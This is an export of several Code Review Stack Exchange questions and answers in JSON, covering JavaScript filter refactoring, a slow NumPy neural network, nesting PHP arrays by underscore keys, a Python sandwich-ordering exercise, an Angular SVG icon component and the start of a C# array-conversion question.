data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function applyFilters(props) {\n const filters = Object.entries(createFilterFor)\n .filter(([key]) => props.keys.includes(key))\n .map(([, createFilter]) => createFilter(props));\n\n return props.tasks.filter(combineFilters(filters));\n}\n\nconst combineFilters = filters => (\n entry => filters.every(filter => filter(entry))\n);\n\nconst createFilterFor = {\n 'task-status': ({ status }) => (\n task => status.some(statusText => task['task-status'] === statusText)\n ),\n 'task-priority': ({ priority }) => (\n task => priority.flat(1).some(priorityText => task['task-priority'] === priorityText)\n ),\n 'task-actual-owner': ({ users }) => (\n task => users.some(user => task['task-actual-owner'] === user)\n ),\n 'task-expiration-time': ({ expiration }) => (\n task => {\n if (!task['task-expiration-time']) return false;\n\n const taskExpiration = task['task-expiration-time']['java.util.Date'];\n const [start, end] = expiration.flat();\n return taskExpiration >= start && taskExpiration <= end;\n }\n ),\n};</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h2>Update</h2>\n<p>Based on @DiddyO's feedback, I think I understand what the goal of this question is better. Here's an updated, much more simplified version that should do what was asked (assuming I understood the comment right).</p>\n<p>(Once again, this is untested and may have a bug or two, but it should give an idea of how to go about accomplishing this task)</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>const applyFilters = props => (\n props.tasks.filter(createFilterFromProps(props))\n);\n\nconst createFilterFromProps = props => (\n entry => Object.entries(filters).every(\n ([key, filter]) => !props.key.includes(key) || filter(props, entry[key])\n )\n);\n\nconst filters = {\n 'task-status': ({ status }, taskStatus) => status.some(statusText => taskStatus === statusText),\n 'task-priority': ({ priority }, taskPriority) => priority.flat(1).some(priorityText => taskPriority === priorityText),\n 'task-actual-owner': ({ users }, actualOwner) => users.some(user => user === actualOwner),\n 'task-expiration-time': ({ expiration }, taskExpiration) => {\n if (!taskExpiration) return false;\n const [start, end] = expiration.flat();\n return taskExpiration['java.util.Date'] >= start && taskExpiration['java.util.Date'] <= end;\n },\n};\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T09:30:07.363",
"Id": "503654",
"Score": "0",
"body": "Thanks a lot...really helpful, I thought something different, but I'm not sure, I thought to build a function that don't need multiple filter passes. Something that can reduce an array of filter objects to a boolean and use that in one filter just throwing users, priority, status and so on together and use the key from the obj. I wish to not use hardcoded strings like 'task-status', because I already defined the key in the filter object."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T03:50:08.977",
"Id": "503723",
"Score": "0",
"body": "@DiddyO. I updated the answer with a new code snippet that should hopefully do what you want."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T09:51:10.357",
"Id": "503815",
"Score": "0",
"body": "thanks a lot for your help. Really useful"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T08:37:25.297",
"Id": "255271",
"ParentId": "255256",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "255271",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T17:55:53.733",
"Id": "255256",
"Score": "0",
"Tags": [
"javascript",
"typescript",
"angular-2+"
],
"Title": "Refactor dynamic filter functions"
}
|
255256
|
<p>I coded a basic feedforward neural network with all pure python with the exception of numpy in order to better understand how neural networks work. It works, but the only problem is it is extremely slow, and I have no idea how to fix it. The neural network looks like this:</p>
<pre><code>import numpy as np
from digits import x_train
np.random.seed(0)
def leaky_relu(inputs):
return np.maximum(0.1*inputs, inputs)
class Layer:
def __init__(self, n_inputs, n_neurons):
self.weights = 0.1*np.random.randn(n_inputs, n_neurons)
self.biases = np.zeros((1, n_neurons))
self.updated_weights = self.weights
self.updated_biases = self.biases
self.dc_dz = []
def forward(self, inputs):
self.output = leaky_relu(np.dot(inputs, self.weights) +
self.biases[0]
l1 = Layer(784, 8)
l2 = Layer(8, 128)
l3 = Layer(128, 128)
l4 = Layer(128, 64)
l5 = Layer(64, 10)
l1.forward(x_train[0].flatten())
l2.forward(l1.output)
l3.forward(l2.output)
l4.forward(l3.output)
l5.forward(l4.output)
layers = [l1, l2, l3, l4, l5]
def leaky_relu_derivative(output):
if output > 0:
return 1
else:
return 0.1
def calculate_bias(output, actual=None, dc_dcn=None):
if dc_dcn is None:
return leaky_relu_derivative(output) * 2 * (output - actual)
else:
return leaky_relu_derivative(output) * dc_dcn
def calculate_weight(output, input, actual=None, dc_dcn=None):
if dc_dcn is None:
return input * leaky_relu_derivative(output) * 2 * (output - actual)
else:
return input * leaky_relu_derivative(output) * dc_dcn
def calculate_dc_dcn(weights, dc_dz):
#find the derivative of the cost function in respect to the current node
return np.sum(np.multiply(weights, dc_dz))
def train(learning_rate, actual):
prev = None
next = None
x = len(layers) - 1
while x != 0:
layer = layers[x]
next = layers[x-1]
if x == len(layers) - 1:
for i in range(len(layer.output)):
#for every node in the layer
new_bias = calculate_bias(layer.output[i], actual[i])
layer.dc_dz.append(new_bias)
layer.updated_biases[0][i] -= learning_rate * new_bias
for j in range(len(next.output)):
#for every weight of the current node
new_weight = calculate_weight(layer.output[i], next.output[j], actual[i])
layer.updated_weights[j][i] -= learning_rate * new_weight
prev = layer
else:
for i in range(len(layer.output)):
#for every node in the layer
dc_dcn = calculate_dc_dcn(prev.weights[i], prev.dc_dz[:(len(prev.output))])
new_bias = calculate_bias(layer.output[i], dc_dcn)
layer.dc_dz.append(new_bias)
layer.updated_biases[0][i] -= learning_rate * new_bias
for j in range(len(next.output)):
#for every weight of the current node
new_weight = calculate_weight(layer.output[i], next.output[j], dc_dcn)
layer.updated_weights[j][i] -= learning_rate * new_weight
prev = layer
for layer in layers:
layer.weights = layer.updated_weights
layer.biases = layer.updated_biases
x -= 1
</code></pre>
<p>I'm assuming the code isn't very efficient and probably written poorly so any constructive criticism along with how to make it faster would help.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T03:47:28.503",
"Id": "503639",
"Score": "2",
"body": "It looks like you have an indentation error (`train` function). Can you indent what is supposed to be contained in the function?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T20:32:42.163",
"Id": "503701",
"Score": "1",
"body": "@Linny oh yeah right, missed that one "
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T19:27:23.507",
"Id": "255259",
"Score": "5",
"Tags": [
"python",
"performance",
"numpy",
"neural-network"
],
"Title": "Neural Network Written in Python is Extremely Slow"
}
|
255259
|
<p>I have a simple array in PHP like this :</p>
<pre><code>Array
(
[max_size_video] => 50000
[max_size_photo] => 8000
[token_expire] => 100
[dns] => mydns.fr
...
)
</code></pre>
<p>I would like to convert this array to multidimensional format with underscore as a separator:</p>
<pre><code>Array
(
[max] => Array
(
[size] => Array
(
[video] => 50000
[photo] => 8000
)
)
[token] => Array
(
[expire] => 100
)
[dns] => mydns.fr
...
)
</code></pre>
<p>I can do this with the following ugly code :</p>
<pre><code>$item = explode('_', $row);
switch (count($item)) {
case 1:
$array[$item[0]] = $value;
break;
case 2:
$array[$item[0]][$item[1]] = $value;
break;
case 3:
$array[$item[0]][$item[1]][$item[2]] = $value;
break;
case 3:
$array[$item[0]][$item[1]][$item[2]][$item[3]] = $value;
break;
...
}
</code></pre>
<p>How can I do this with a more elegant function?</p>
|
[] |
[
{
"body": "<p>A reference variable will save you from that wicked code bloat!</p>\n<p>You can make iterative calls of <a href=\"https://stackoverflow.com/a/9636021/2943403\">this Stack Overflow answer from 2012</a>.</p>\n<p>Code: (<a href=\"https://3v4l.org/pcGhM\" rel=\"nofollow noreferrer\">Demo</a>)</p>\n<pre><code>function assignArrayByPath(&$arr, $path, $value, $separator = '_') {\n $keys = explode($separator, $path);\n foreach ($keys as $key) {\n $arr = &$arr[$key];\n }\n $arr = $value;\n}\n \nforeach ($array as $key => $value) {\n unset($array[$key]);\n assignArrayByPath($array, $key, $value);\n}\nvar_export($array);\n</code></pre>\n<hr />\n<p>Or boil it down to this: (<a href=\"https://3v4l.org/EnIPt\" rel=\"nofollow noreferrer\">Demo</a>)</p>\n<pre><code>function assignArrayByPath(&$result, $path, $value) {\n foreach (explode('_', $path) as $key) {\n $result = &$result[$key];\n }\n $result = $value;\n}\n\n$result = [];\nforeach ($array as $key => $value) {\n assignArrayByPath($result, $key, $value);\n}\nvar_export($result);\n</code></pre>\n<p>This technique will require that you build logical (non-monkey-wrenching) paths as keys. I mean:</p>\n<ol>\n<li>If after <code>'max_size_photo' => 8000</code>, you declare <code>'max' => 10000</code>, then you will get an error.</li>\n<li>If after <code>'max_size_photo' => 8000</code>, you declare <code>'max_size' => 10000</code>, then you will erase the previously expanded (deeper) elements from the output array.</li>\n</ol>\n<hr />\n<p>p.s. You can also write it without any custom functions by nesting the loops so long as you maintain the technique of using a reference variable inside of a reference variable. Trippy, right?</p>\n<p>Code: (<a href=\"https://3v4l.org/Vd6r8\" rel=\"nofollow noreferrer\">Demo</a>)</p>\n<pre><code>$result = [];\nforeach ($array as $path => $value) {\n $ref = &$result;\n foreach (explode('_', $path) as $key) {\n $ref = &$ref[$key];\n }\n $ref = $value;\n}\nvar_export($result);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T06:47:04.663",
"Id": "503641",
"Score": "0",
"body": "Thank you very much. It’s for get data in a database, and send in json at my frontend"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T06:59:40.360",
"Id": "503643",
"Score": "0",
"body": "If you have any power to change the database values, it would be better to convert this data to JSON **before** saving it to the database. Then you only need to call the standard `json_decode()` when you pull the row. Modern versions of MySQL offer JSON manipulations too (but you might not need them for your usage)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T13:12:57.070",
"Id": "503913",
"Score": "0",
"body": "@mickmackusa what's the logic behind having `assignArrayByPath` as a function as opposed to a simple nested loop?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T20:53:25.767",
"Id": "503945",
"Score": "1",
"body": "@Steven I added the nested loop version."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T23:07:14.150",
"Id": "255264",
"ParentId": "255260",
"Score": "2"
}
},
{
"body": "<p>Mick already provided a good solution per hour question.</p>\n<p>Bearing in mind it might have just been for illustration purposes, I noticed the <code>switch</code> statement has a redundant case:</p>\n<pre><code>\n case 3:\n $array[$item[0]][$item[1]][$item[2]] = $value;\n break;\n case 3:\n $array[$item[0]][$item[1]][$item[2]][$item[3]] = $value;\n break;\n</code></pre>\n<p>Here the second <code>case 3</code> is unreachable- perhaps it was a typo and should have been <code>case 4</code>. This won’t lead to an error but is excess lines of code that could lead to confusion for anyone reading the code- including your future self!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:14:14.310",
"Id": "255286",
"ParentId": "255260",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T20:15:55.990",
"Id": "255260",
"Score": "0",
"Tags": [
"php",
"array",
"converting"
],
"Title": "Format simple array in multidimensional"
}
|
255260
|
<p>I am currently learning Python by working my way through <a href="https://automatetheboringstuff.com/2e" rel="noreferrer">Automate the Boring Stuff with Python</a>. This project is from <a href="https://automatetheboringstuff.com/2e/chapter8/" rel="noreferrer">Chapter 8</a> which is focused on validating input by using the PyInputPlus module. Whenever I finish, I like to look the problem up and compare to other's solutions to see what I could have done better. However, I can only find a couple of links to this problem. Here is the problem:</p>
<blockquote>
<p><strong>Sandwich Maker</strong></p>
<p>Write a program that asks users for their sandwich preferences. The program should use PyInputPlus to ensure that they enter valid input, such as:</p>
<ul>
<li>Using <code>inputMenu()</code> for a bread type: wheat, white, or sourdough.</li>
<li>Using <code>inputMenu()</code> for a protein type: chicken, turkey, ham, or tofu.</li>
<li>Using <code>inputYesNo()</code> to ask if they want cheese. If so, using <code>inputMenu()</code> to ask for a cheese type: cheddar, Swiss, or mozzarella.</li>
<li>Using <code>inputYesNo()</code> to ask if they want mayo, mustard, lettuce, or tomato.</li>
<li>Using <code>inputInt()</code> to ask how many sandwiches they want. Make sure this number is 1 or more.</li>
</ul>
<p>Come up with prices for each of these options, and have your program display a total cost after the user enters their selection.</p>
</blockquote>
<p>That being said, I'd like to hear what I can do better and how I can improve this code:</p>
<pre><code>import pyinputplus as pyip
# store a dictionary of ingredients and their respective prices
optionPrices = {'white' : 2.00,
'wheat' : 2.50,
'sour dough' : 3.00,
'chicken' : 2.50,
'turkey' : 2.25,
'ham' : 1.75,
'tofu' : 4.00,
'cheddar' : 1.00,
'swiss' : 1.25,
'mozzarella' : 2.00,
'mayo' : 0.25,
'mustard' : 0.25,
'lettuce' : 0.30,
'tomato' : 0.50
}
customerOrder = [] # a list to store the current order
extras = ['mayo', 'mustard', 'lettuce', 'tomato']
sandwichTotal = 0.0
# ask the user for bread choice and append to order list
breadChoice = pyip.inputMenu(['white', 'wheat', 'sour dough'], 'Please choose your bread:\n', lettered=True)
customerOrder.append(breadChoice)
# ask the user for protein choice and append to order list
proteinChoice = pyip.inputMenu(['chicken', 'turkey', 'ham', 'tofu'], 'Please choose your protein:\n', lettered=True)
customerOrder.append(proteinChoice)
# ask if the user wants cheese, and if so, record cheese choice
cheeseResponse = pyip.inputYesNo('Would you like cheese?\n')
if cheeseResponse == 'yes':
cheeseChoice = pyip.inputMenu(['cheddar', 'swiss', 'mozzarella'], 'Please choose your cheese:\n', lettered=True)
customerOrder.append(cheeseChoice)
else:
cheeseChoice = ''
# loop through 'extras' and ask if customer wants each one. If so, append it the order
choice = ''
for i in extras:
choice = pyip.inputYesNo('Would you like ' + i +'?\n')
if choice == 'yes':
customerOrder.append(i)
else:
choice = ''
# get the number of sandwiches from the customer
numSandwiches = pyip.inputInt('How many sandwiches would you like?\n', min=1)
print('\nYour order: ')
# check if the item exists in the options, and get the price for each sandwich
for item in customerOrder:
if item in optionPrices.keys():
sandwichTotal += optionPrices.get(item)
print('\t' + item + ' - $' + str(optionPrices.get(item)))
print('Total for your sandwich: $' + str('{:0.2f}'.format(sandwichTotal))) # per sandwhich total
print('Total for your order: (' + str(numSandwiches) + ' sandwiches @ $' +
str('{:0.2f}'.format(sandwichTotal)) + ' each): ')
print('$' + str('{:0.2f}'.format(sandwichTotal * numSandwiches))) # give the total price of sandwiches
</code></pre>
<p>I know that there are likely a lot of things I could do better to optimize or make the code easier to read, but there are some things I just haven't learned yet. I realize this probably isn't the most efficient way to solve this problem and that is why I'd like to get some feedback.</p>
|
[] |
[
{
"body": "<h1>PEP8</h1>\n<p>The "<a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP 8</a> -- Style Guide for Python Code" has many recommendations on how programs should be written, for maximum understandability between programmers.</p>\n<h2>Variable Names</h2>\n<p>The one that you violate the most relates to variable naming. PEP8 recommends <code>snake_case</code> for all variables. So <code>customerOrder</code> should be <code>customer_order</code>, <code>sandwichTotal</code> should be <code>sandwich_total</code>, etc.</p>\n<h2>Constants</h2>\n<p>Constants, things which never change, should be named using <code>UPPERCASE</code> or <code>UPPERCASE_WITH_UNDERSCORES</code>. Therefore, <code>optionPrices</code> should be <code>OPTION_PRICES</code>.</p>\n<h2>White Space</h2>\n<p>PEP-8 recommends no space between a diction key and the <code>:</code>.</p>\n<h1>Encapsulate Data into Containers</h1>\n<p><code>optionPrices</code> contains breads, proteins, cheeses, and extras. This seems like it is stuffing too much -- well, stuffings -- into one container.</p>\n<p>I might write:</p>\n<pre class=\"lang-py prettyprint-override\"><code>BREAD_PRICE = {'white':2.00, 'wheat': 2.50, 'sour dough': 3.00}\nPROTEIN_PRICE = {'chicken': 2.50, 'turkey': 2.25, 'ham': 1.75, 'tofu': 4.00}\nCHEESE_PRICE = {'cheddar': 1.00, 'swiss' : 1.25, 'mozzarella' : 2.00}\nEXTRA_PRICE = {'mayo': 0.25, 'mustard': 0.25, 'lettuce': 0.30, 'tomato': 0.50}\n</code></pre>\n<p>With the bread, protein, and cheese options, you could now write a common function:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def get_sandwich_choice(category, options):\n prompt = "Please choose your " + category + ":\\n"\n choices = list(options.keys())\n choice = pyip.inputMenu(choices, prompt, lettered=True)\n return choice\n\nbread_choice = get_sandwich_choice('bread', BREAD_PRICE)\nprotein_choice = get_sandwich_choice('protein', PROTEIN_PRICE)\n...\n</code></pre>\n<p>The price containers are all really the same kind of things, just in groups. So one might instead ...</p>\n<pre class=\"lang-py prettyprint-override\"><code>PRICE = {'bread': {'white':2.00, 'wheat': 2.50, 'sour dough': 3.00},\n 'protein': {'chicken': 2.50, 'turkey': 2.25, 'ham': 1.75, 'tofu': 4.00},\n 'cheese': {'cheddar': 1.00, 'swiss' : 1.25, 'mozzarella' : 2.00},\n 'extras': {'mayo': 0.25, 'mustard': 0.25, 'lettuce': 0.30, 'tomato': 0.50},\n }\n</code></pre>\n<p>and the choices could be fetched with:</p>\n<pre class=\"lang-py prettyprint-override\"><code>bread_choice = get_sandwich_choice('bread', PRICE['bread'])\nprotein_choice = get_sandwich_choice('protein', PRICE['protein'])\n...\n</code></pre>\n<p>You could expand this further by adding more data. <code>bread</code> is choice, <code>protein</code> is a choice, <code>cheese</code> is an optional choice, <code>extras</code> are optionals. Based on the category type, you could call the appropriate user input functions. The prompt for each category could be customized, and so on. To add this extra data, I'd look into <a href=\"https://docs.python.org/3/library/dataclasses.html?highlight=dataclass#dataclasses.dataclass\" rel=\"noreferrer\"><code>@dataclass</code></a>.</p>\n<p>Are all things in <code>customerOrder</code> the same? The bread is kind of unique; you need two slices for the sandwich. The extras might eventually have options like "light on the mayo" or "heavy on the mustard", where as you can't ask for extra bread. So it might make more sense keeping them separate. <code>bread_choice</code>, <code>protein_choice</code>, <code>cheese_choice</code>, and a list of <code>extras</code>. This also helps our cost, since the prices are in different containers.</p>\n<pre class=\"lang-py prettyprint-override\"><code>def sandwich_cost(bread, protein, cheese, extras):\n cost = PRICE['bread'][bread] + PRICE['protein'][protein]\n if cheese:\n cost += PRICE['cheese'][cheese]\n for extra in extras:\n cost += PRICE['extra'][extra]\n\nsandwich_total = sandwich_cost(bread_choice, protein_choice, cheese_choice, extras)\n</code></pre>\n<p>Again, a <code>@dataclass</code> may be useful in construction a sandwich object.</p>\n<p>By having a separate function for computing the sandwich cost, you make your code testable. For example, you could check:</p>\n<pre class=\"lang-py prettyprint-override\"><code>assert sandwich_cost('white', 'tofu', 'cheddar', ['tomato']) == 7.50\nassert sandwich_cost('white', 'tofu', '', []) == 6.00\n</code></pre>\n<p>Look into <a href=\"https://docs.python.org/3/library/unittest.html\" rel=\"noreferrer\"><code>unittest</code></a> for better ways of writing test code.</p>\n<h1>Main Guard</h1>\n<p>It is a good habit to move your code into functions, and call it from inside a "main guard" at the end of the code. Eg)</p>\n<pre class=\"lang-py prettyprint-override\"><code>import pyinputplus as pyip\n\n... helper functions here ...\n\ndef main():\n ... code here ...\n\nif __name__ == '__main__':\n main()\n</code></pre>\n<h1>Summary</h1>\n<p>Lots of ways to improve this code. I've touched on a few. Experiment, and once you've got something working, post a new followup question for further advice.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T15:03:17.567",
"Id": "503678",
"Score": "0",
"body": "Thank you so much for taking the time to break this down and help me."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T00:22:47.660",
"Id": "255266",
"ParentId": "255262",
"Score": "15"
}
},
{
"body": "<h1>Unecessary else-statements</h1>\n<p>In</p>\n<pre><code>if cheeseResponse == 'yes':\n cheeseChoice = pyip.inputMenu(['cheddar', 'swiss', 'mozzarella'], 'Please choose your cheese:\\n', lettered=True)\n customerOrder.append(cheeseChoice)\nelse:\n cheeseChoice = ''\n</code></pre>\n<p>the final else-statement is not necessary. <code>cheeseChoice</code> is only used when <code>cheeseResponse</code> is <code>yes</code>. Therefore there is no need to assign a value to it if <code>cheeseResponse</code> is <code>no</code>.</p>\n<p>Since <code>cheeseChoice</code> is only used once for appending the choice to the order list you could drop the variable altogether and inline it into the append. However if the explicit declaration of <code>cheeseChoice</code> helps you read and understand the code then it is fine to leave it in there. In the end there is a good argument to be made that readability is the most important property of code (besides working correctly of course).</p>\n<p>If a line of code gets too long you can also wrap it to the next line to make it more readable. I used an explicit line break (<code>\\</code>) here. More info can be found <a href=\"https://stackoverflow.com/questions/53162/how-can-i-do-a-line-break-line-continuation-in-python\">in this question</a>.</p>\n<pre><code>if cheeseResponse == 'yes':\n customerOrder.append(pyip.inputMenu(['cheddar', 'swiss', 'mozzarella'], \\\n 'Please choose your cheese:\\n', lettered=True))\n</code></pre>\n<p>Correspondingly in</p>\n<pre><code>choice = ''\nfor i in extras:\n choice = pyip.inputYesNo('Would you like ' + i +'?\\n')\n if choice == 'yes':\n customerOrder.append(i)\n else:\n choice = ''\n</code></pre>\n<p>the else-statement is not necessary. However so is the initial declaration of <code>choice</code> (since it is then reassigne within the for-loop. In the for loop you could use a more verbose variable instead of <code>i</code> which is usually used when incrementing an int-counter in something like <code>for i in range(10):</code>. Personally I prefer <code>for extra in extras:</code> here.</p>\n<pre><code>for extra in extras:\n choice = pyip.inputYesNo('Would you like ' + extra +'?\\n')\n if choice == 'yes':\n customerOrder.append(extra)\n</code></pre>\n<p>or inlined:</p>\n<pre><code>for extra in extras:\n if pyip.inputYesNo('Would you like ' + extra +'?\\n') == 'yes':\n customerOrder.append(extra)\n</code></pre>\n<p>Good luck in your efforts.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T20:56:05.177",
"Id": "503786",
"Score": "0",
"body": "Thanks for the additional insights. I am currently rewriting using these tips."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T20:16:16.600",
"Id": "255299",
"ParentId": "255262",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255266",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T22:08:18.297",
"Id": "255262",
"Score": "9",
"Tags": [
"python",
"beginner",
"python-3.x"
],
"Title": "Automate the Boring Stuff Chapter 8 Sandwich Maker"
}
|
255262
|
<p>I have attempted to create an <code>IconComponent</code> that shows a different SVG icon depending on the string that is passed in.</p>
<p>Example:</p>
<pre><code><app-icon icon="tick"></app-icon>
</code></pre>
<p>Would show an SVG of a tick.</p>
<p><a href="https://stackblitz.com/edit/angular-ivy-sj9oba?" rel="nofollow noreferrer">Small StackBlitz example</a></p>
<p>I believe this approach, however, creates a new and unique TemplateRef for each instance of IconComponent, which would create useless duplicates of data in memory.</p>
<p>This problem concerns me when there may be thousands of icons on a page, such as on a table/grid.</p>
<p>Is there a better approach?</p>
<pre><code>import {
ChangeDetectorRef,
Component,
Input,
OnChanges,
SimpleChanges,
TemplateRef,
ViewChild
} from "@angular/core";
@Component({
selector: "app-icon",
templateUrl: "./icon.component.html",
styleUrls: ["./icon.component.css"]
})
export class IconComponent implements OnChanges {
@Input("icon")
public icon?: string;
@ViewChild("chevronTemplate", { static: true })
public chevronTemplate?: TemplateRef<undefined>;
@ViewChild("tickTemplate", { static: true })
public tickTemplate?: TemplateRef<undefined>;
public iconTemplate?: TemplateRef<undefined>;
public constructor(private readonly changeDetectorRef: ChangeDetectorRef) {}
public ngOnChanges(changes: SimpleChanges): void {
let hasChanges = false;
if (changes.icon !== undefined) {
this.iconTemplate = this.getIconTemplate();
hasChanges = true;
}
if (hasChanges) {
this.changeDetectorRef.detectChanges();
}
}
private getIconTemplate(): TemplateRef<undefined> {
switch (this.icon) {
case "chevron":
return this.chevronTemplate;
case "tick":
return this.tickTemplate;
default:
throw new Error(`Unknown Icon Type '${this.icon}'.`);
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>Indeed, although working, this approach looks a bit heavy, because for each new SVG template the <code>icon.component.html</code> file will need to be changed and a respective <code>TemplateRef</code> field has to be created in the component.</p>\n<p>It is not clear from the example, but if in your task all the pieces of SVG are static (not generated through the app logic), it can be solved differently. Here are some hints:</p>\n<ul>\n<li><p>for each SVG template, create a file under the application resources: <code>chevron.svg</code>, <code>tick.svg</code> etc, with the respective contents.</p>\n</li>\n<li><p>in <code>icon.component.ts</code>, add a getter returning the path to the SVG file, for example:</p>\n</li>\n</ul>\n<pre class=\"lang-js prettyprint-override\"><code>public get svgResourcePath(): string {\n return `/path/to/resource/${this.icon}.svg`;\n}\n</code></pre>\n<ul>\n<li>change the <code>icon.component.html</code>, so that it uses a standard HTML image tag, with the value of the <code>src</code> attribute bound to the path:</li>\n</ul>\n<pre class=\"lang-js prettyprint-override\"><code><img [src]="svgResourcePath"/>\n</code></pre>\n<h2>Update</h2>\n<blockquote>\n<p>One point I didn't put in my question is that I also need to bind a color to the SVG through an @Input().</p>\n</blockquote>\n<p>As I've mentioned, it was not clear from the initial question. But still there is a solution for that, although it looks a bit longer than my previous suggestion.</p>\n<p>I've played a bit and implemented it <a href=\"https://stackblitz.com/edit/angular-ivy-rpc52u\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>The ideas behind the approach:</p>\n<ul>\n<li>Since SVG code <a href=\"https://angular.io/guide/svg-in-templates\" rel=\"nofollow noreferrer\">can be included directly</a> in a component template, we can create separate component definitions for all necessary cases, e.g. for <code>tick</code>:</li>\n</ul>\n<pre class=\"lang-js prettyprint-override\"><code>@Component({\n selector: "tick-icon", // does not matter, because we do not intend to insert it through a template\n template: `\n <svg>\n <path\n [attr.fill]="fillColor"\n d="M23.9 3.7L9.7 17.9l-6.8-6.8-2.8 2.6 9.7 9.6L26.7 6.5z"\n />\n </svg>\n `\n})\nexport class TickComponent implements StyleConfigurable {\n private _fillColor: string;\n\n @Input()\n public set fillColor(fc: string) {\n this._fillColor = fc;\n }\n\n public get fillColor(): string {\n return this._fillColor;\n }\n}\n</code></pre>\n<p>The <code>StyleConfigurable</code> interface here is an interface that defines the SVG styling properties that we want to customize:</p>\n<pre class=\"lang-js prettyprint-override\"><code>export interface StyleConfigurable {\n fillColor: string;\n}\n</code></pre>\n<ul>\n<li>Angular components <a href=\"https://angular.io/guide/dynamic-component-loader\" rel=\"nofollow noreferrer\">can be instantiated dynamically</a>, so we adjust the algo from the doc for our use case:</li>\n</ul>\n<pre class=\"lang-js prettyprint-override\"><code>export class IconComponent implements OnInit {\n private _icon: string;\n\n private _fillColor: string;\n\n // inject the necessary objects for the dynamic instantiation:\n public constructor(\n private _resolver: ComponentFactoryResolver,\n private _containerRef: ViewContainerRef\n ) {}\n\n public ngOnInit(): void {\n // trigger the SVG icons loading when this component is initialized:\n this.loadIcon();\n }\n\n // dynamically load the icon:\n private loadIcon(): void {\n const cmpFactory = this._resolver.resolveComponentFactory(this.getTypeForIcon());\n const cmpRef = this._containerRef.createComponent<StyleConfigurable>(\n cmpFactory\n );\n // note this call: instance.fillColor is available through StyleConfigurable\n cmpRef.instance.fillColor = this._fillColor;\n }\n\n // for each supported value of the 'icon' property, return the corresponding component type:\n private getTypeForIcon(): Type<StyleConfigurable> {\n switch (this._icon) {\n case "tick":\n return TickComponent;\n case "chevron":\n return ChevronComponent;\n default:\n throw Error(`Unrecognized icon: ${this._icon}`);\n }\n }\n}\n</code></pre>\n<p>Now the <code>IconComponent</code> can be used as follows:</p>\n<pre class=\"lang-js prettyprint-override\"><code><app-icon icon="chevron" fillColor="rgb(0, 255, 0)"></app-icon>\n<app-icon icon="tick" fillColor="rgb(255, 0, 0)"></app-icon>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-14T22:21:47.250",
"Id": "505346",
"Score": "0",
"body": "One point I didn't put in my question is that I also need to bind a color to the SVG through an @Input(). I suppose if I just add an `ngOnChanges()` that re-renders a text-based SVG with the new color, it'd still be more efficient than my current approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-16T18:48:28.693",
"Id": "505500",
"Score": "1",
"body": "@pathurs I've updated the answer with an approach that allows to style the SVG dynamically."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-17T00:11:14.117",
"Id": "505524",
"Score": "0",
"body": "I will most likely adopt a very similar approach to the one you have suggested in your update, so I will accept your answer."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-14T09:28:54.233",
"Id": "256011",
"ParentId": "255263",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "256011",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T22:26:14.250",
"Id": "255263",
"Score": "1",
"Tags": [
"performance",
"angular-2+"
],
"Title": "Is it possible to make a re-usable icon component that doesn't create duplicate TemplateRefs"
}
|
255263
|
<p>I am trying to perform some conversions with multidimensional array in C# and I have checked the discussion <a href="https://social.msdn.microsoft.com/Forums/en-US/9cee97a2-25d1-4d6a-b256-7667851e2170/convertall-and-2dimensional-arrays?forum=csharplanguage" rel="noreferrer">ConvertAll and 2-dimensional arrays</a>. I found that <code>Array.ConvertAll</code> still not support multidimensional array cases. Therefore, here's an experimental implementation for handling the process of conversions on multidimensional array.</p>
